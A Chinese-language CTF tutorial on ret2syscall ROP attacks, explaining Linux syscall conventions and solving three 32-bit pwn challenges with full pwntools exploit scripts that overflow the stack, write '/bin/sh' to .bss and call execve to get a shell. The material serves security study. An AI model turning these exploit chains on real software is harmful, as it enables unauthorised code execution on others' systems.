前提知识
ret2syscall
是什么
ret2syscall
,即return to syscall
,意思是劫持函数返回地址为通过ROP
构造的系统调用函数的地址,控制程序执行系统调用,拿到shell
。
ROP
原理
ROP
的全称为Return-oriented programming
,即返回导向编程。其主要思想是在栈缓冲区溢出的基础上,通过利用程序中已有的小片段(gadget
)来改变某些寄存器或变量的值,从而控制程序的执行流程。
gadgets
gadgets
就是以ret
结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
ROP
攻击执行需要满足的条件
1.存在栈溢出,可以控制返回地址。
2.可以找到满足条件的gadgets
及其地址。
有关系统调用的知识
32
位
32
位系统调用的前6
个寄存器分别为ebx,ecx,edx,esi,edi,ebp
。通过查看/usr/include/x86_64-linux-gnu/asm/unistd_32.h32
文件,我们可以找到函数的系统调用号。
1、把函数的系统调用号放入```eax```寄存器中
2、把函数参数依次放入寄存器中
3、执行```int 0x80```指令中断
#### ```64```位
```64```位系统调用的前```6```个寄存器分别为```rdi,rsi,rdx,rcx,r8,r9```。通过查看```/usr/include/x86_64-linux-gnu/asm/unistd_64.h```文件,我们可以找到函数的系统调用号。
```64```位应用程序调用系统调用的过程:
1、把函数的系统调用号放入```rax```寄存器中
2、把函数参数此次放入寄存器中
3、执行```syscall```指令
## 例题
### ```inndy_rop```
拿到题的第一步,先检查一下保护,只开了```NX```保护,并且可知该程序是```32```位的。

拖入```ida```中,有```gets```函数,可以栈溢出

计算偏移量为```0x10```

```syscall```的函数调用规范为```execve("/bin/sh",0,0)```,```execve```函数的系统调用号为```11```。
我们先找到相关的```gadgets```地址,用```ROPgadget --binary rop | grep "pop eax ; ret"```命令寻找```pop eax ; ret```,其他同理




```int 0x80```指令的地址

我们还需要找到```pop dword ptr [ecx] ; ret```的地址(也可以是其他普通寄存器,不过这里我们只能找到```ecx```的。```pop dword ptr [ecx]```的意思是**把栈顶的内容弹到指针指的```ecx```中保存的值作为的地址**),利用命令:```ROPgadget --binary rop | grep "pop dword ptr \[ecx\] ; ret"```,注意要用反斜杠进行转义

```bss```段的地址```0x080eafb8```,我们要把```/bin/sh```写入```bss```段

这里放一张师父的图片,通过这张图片可以了解把```/bin/sh```写入```bss```段的过程,然后下面的```exp```中我写了相应的解释。

#### ```exp```
```python from pwn import *
p = remote("node4.buuoj.cn",27738) #p = process('./rop') context(arch='i386',os='linux',log_level='debug')
int_0x80_addr=0x0806c943 bss_addr=0x080eafb8 pop_eax_addr = 0x080b8016 pop_ebx_addr = 0x080481c9 pop_ecx_addr = 0x080de769 pop_edx_addr = 0x0806ecda pop_in_ecx_addr=0x0804b5ba #指向ecx寄存器中的内容
payload=b'a'*0x10 #栈溢出
payload+=p32(pop_ecx_addr)+p32(bss_addr) #先把bss_addr这个地址弹到ecx中 payload+=p32(pop_in_ecx_addr)+b'/bin' #ecx中的内容作为地址,/bin被写入这个地址里,即被写到bss_addr这个地址中 payload+=p32(pop_ecx_addr)+p32(bss_addr+4) #这个bss_addr+4是上面bss_addr的地址的衔接,因为参数/bin/sh需要两个内存单元存放,因此在这里将上面的地址加4,/sh就存到了下面的内存单元。 payload+=p32(pop_in_ecx_addr)+b'/sh\x00' #前面同理,最后的\x00用来声明字符串的结束
payload+=p32(pop_eax_addr)+p32(0xb) #把系统调用号弹到eax中 payload+=p32(pop_ebx_addr)+p32(bss_addr) #把第一个参数的地址弹到ebx中 payload+=p32(pop_ecx_addr)+p32(0) #把第二个参数弹到ecx中 payload+=p32(pop_edx_addr)+p32(0) #把第三个参数弹到edx中 payload+=p32(int_0x80_addr) #执行int 0x80中断 p.sendline(payload) p.interactive()
|
得到flag

cmcc_simplerop
拿到题目,先看保护,开了NX
保护,是32
位程序

拖入ida
,有read
函数,可以栈溢出

计算偏移量,这里用cyclic
计算偏移量,先复制200
个垃圾数据

输入

然后用cyclic -l 0x61616169
计算偏移量为32
即0x20

这里我们找不到类似上一题中```pop dword ptr [ecx] ; ret```的```gadgets```,因此我们要用其他方法把```/bin/sh```写入```bss```段。我们可以利用程序中现有的```read```函数,来完成这一步。
```read```函数地址

```bss```段的地址```0x080eb2a1```

用```ROPgadget --binary simplerop | grep "int 0x80"```命令找到```int 0x80```指令地址

寻找```gadgets```


没有找到```pop ecx ; ret```,但是有```pop edx ; pop ecx ; pop ebx ; ret```,更好了

#### ```exp```
```python from pwn import * #p = process('./simplerop') p = remote("node4.buuoj.cn",28283) context(arch='i386',os='linux',log_level='debug')
bss_addr = 0x080eb2a1 int_0x80_addr = 0x080493e1 pop_eax_addr = 0x080bae06 pop_edx_ecx_ebx_addr = 0x0806e850 read_addr = 0x0806cd50 payload = b'a'*0x20
payload += p32(read_addr)+p32(pop_edx_ecx_ebx_addr)#先把read函数原来的3个参数弹出 payload += p32(0)+p32(bss_addr)+p32(8)#写入read函数的参数
payload += p32(pop_eax_addr)+p32(0xb)#把系统调用号弹到eax中 payload += p32(pop_edx_ecx_ebx_addr)+p32(0)+p32(0)+p32(bss_addr)#把execve函数的3个参数分别弹到ebx,ecx,edx中 payload += p32(int_0x80_addr)#执行int 0x80中断 p.sendline(payload) p.sendline('/bin/sh\x00')#这里一定要输入\x00去截断 p.interactive()
|
得到flag

picoctf_2018_can_you_gets_me
拿到题目,先查看保护,只开了NX
保护,是32
位程序

拖入ida
中,有gets
函数,可以栈溢出

选一个bss
段的地址为0x080eba35

用gdb
调试计算偏移量为0x1c

寻找```gadgets```片段





寻找```int 0x80```中断指令

#### ```exp```
```python from pwn import * p = process('./rop3') p = remote("node4.buuoj.cn",26246) context(arch='i386',os='linux',log_level='debug')
pop_eax_addr = 0x080b81c6 pop_ebx_addr = 0x080481c9 pop_ecx_addr = 0x080de955 pop_edx_addr = 0x0806f02a pop_in_ecx_addr = 0x0804b5ea int_0x80_addr = 0x0806cc25 bss_addr = 0x080eba35
payload = b'a'*(0x1c) payload += p32(pop_ecx_addr)+p32(bss_addr)+p32(pop_in_ecx_addr)+b'/bin' payload += p32(pop_ecx_addr)+p32(bss_addr+4)+p32(pop_in_ecx_addr)+b'/sh\x00'
payload += p32(pop_eax_addr)+p32(0xb) payload += p32(pop_ebx_addr)+p32(bss_addr) payload += p32(pop_ecx_addr)+p32(0) payload += p32(pop_edx_addr)+p32(0) payload += p32(int_0x80_addr) p.sendline(payload) p.interactive()
|
得到flag
